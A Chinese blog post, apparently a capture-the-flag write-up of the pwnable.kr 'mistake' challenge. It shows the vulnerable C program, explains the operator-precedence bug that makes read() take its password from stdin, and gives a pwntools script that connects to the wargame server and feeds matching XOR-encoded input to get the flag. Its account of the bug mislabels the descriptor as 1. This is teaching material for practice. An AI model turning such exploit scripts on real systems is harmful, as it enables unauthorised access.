• 【pwnable.kr】 mistake


    又一道pwnable,我还没放弃。。


    ssh mistake@pwnable.kr -p2222 (pw:guest)

    源代码如下:

    #include <stdio.h>
    #include <fcntl.h>
    
    #define PW_LEN 10
    #define XORKEY 1
    
    void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
            s[i] ^= XORKEY;
        }
    }
    
    int main(int argc, char* argv[]){
        
        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
            printf("can't open password %d
    ", fd);
            return 0;
        }
    
        printf("do not bruteforce...
    ");
        sleep(time(0)%20);
    
        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
            printf("read error
    ");
            close(fd);
            return 0;        
        }
    
        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);
    
        // xor your input
        xor(pw_buf2, 10);
    
        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
            printf("Password OK
    ");
            system("/bin/cat flag
    ");
        }
        else{
            printf("Wrong Password
    ");
        }
    
        close(fd);
        return 0;
    }

    源代码中,对于文件打开错误条件判断出有问题

    fd=open("/home/mistake/password",O_RDONLY,0400) < 0

    最后执行的应该是=号,也就是说fd= 1,当fd=1,函数read读取就从stdin获得,这部分数据可以被用户输入。

    这就是为什么程序运行时会有卡顿。

    利用pwntools的sendline函数可以解决。

    from pwn import *
    import time
    s= ssh(host='pwnable.kr',user='mistake',password='guest',port=2222)
    s.connected()
    pro = s.process('/home/mistake/mistake')
    print pro.recv()
    
    fd_content = 'p4nda'+''
    fd_change = ""
    for i in fd_content:
        fd_change += chr(ord(i) ^ 1)
    pro.sendline(fd_content)
    print pro.recv()
    print fd_content
    print '[+] Sleep over.'
    pro.sendline(fd_change)
    print pro.recv()

    发现使用recv函数可以绕过源文件中sleep等待,原因是该函数是阻塞的。

  • 相关阅读:
    js递归函数和call()
    前端常用
    整理项目中用到的angularjs及其他js代码
    体验设计真的是让一切简单到极致吗?
    iview table中利用render动态循环输出
    Vue+iview在render函数中添加Poptip提示操作
    jQuery
    外部js调用vue实例方法
    es6 filter() 数组过滤方法总结
    vue通信、传值的多种方式
  • 原文地址:https://www.cnblogs.com/p4nda/p/7126294.html
Copyright © 2020-2023  润新知